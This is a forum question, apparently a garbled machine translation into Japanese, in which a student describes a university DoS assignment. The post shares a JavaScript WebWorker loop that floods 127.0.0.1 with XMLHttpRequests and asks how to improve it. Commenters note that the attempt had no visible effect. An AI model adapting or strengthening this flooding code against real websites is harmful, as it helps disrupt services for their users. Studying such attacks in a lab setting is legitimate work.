1
大学ではサービス拒否攻撃を実行するための「宿題」があります。私はちょっと違ったやり方をすることにしました。 JavaScriptを使って実行しようとしました。WebWorkersを使用したJavaScript DoS攻撃
質問は以下のとおりです。それも可能これまでに
- ですか?
- ループバックでHttpRequestを実行すると、httpポートがあふれているために発生したWebサイトのunaccessibilityによる結果が表示されますか?
- 私よりも良いコードがありますか?
のindex.html:
<script>
for(var i = 0; i< 50; i++) {
worker = new Worker("worker.js");
worker.postMessage('Hello World');
}
</script>
worker.js:
self.addEventListener('message', function(e) {
while(1) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200)
callback(xmlHttp.responseText);
}
xmlHttp.open("GET", "http://127.0.0.1", true);
xmlHttp.send(null);
}
}, false);
は、任意の入力いただき、ありがとうございます!
を見つけるだろう'localhost以外のものを選んでください)' while(1) ' – mehulmpt
コードを実行したときにどうなりましたか?ブラウザは 'while(1)'で涼しかったですか? – nnnnnn
@nnnnnn Webワーカーがシーンの後ろのすべてをやったので、ブラウザは正常だったようです。デベロッパーツールでは、要求が送信されていることをはっきりと確認できましたが、何の問題もなく、私が望むどんなウェブサイトにも行くことができました。 – TomasB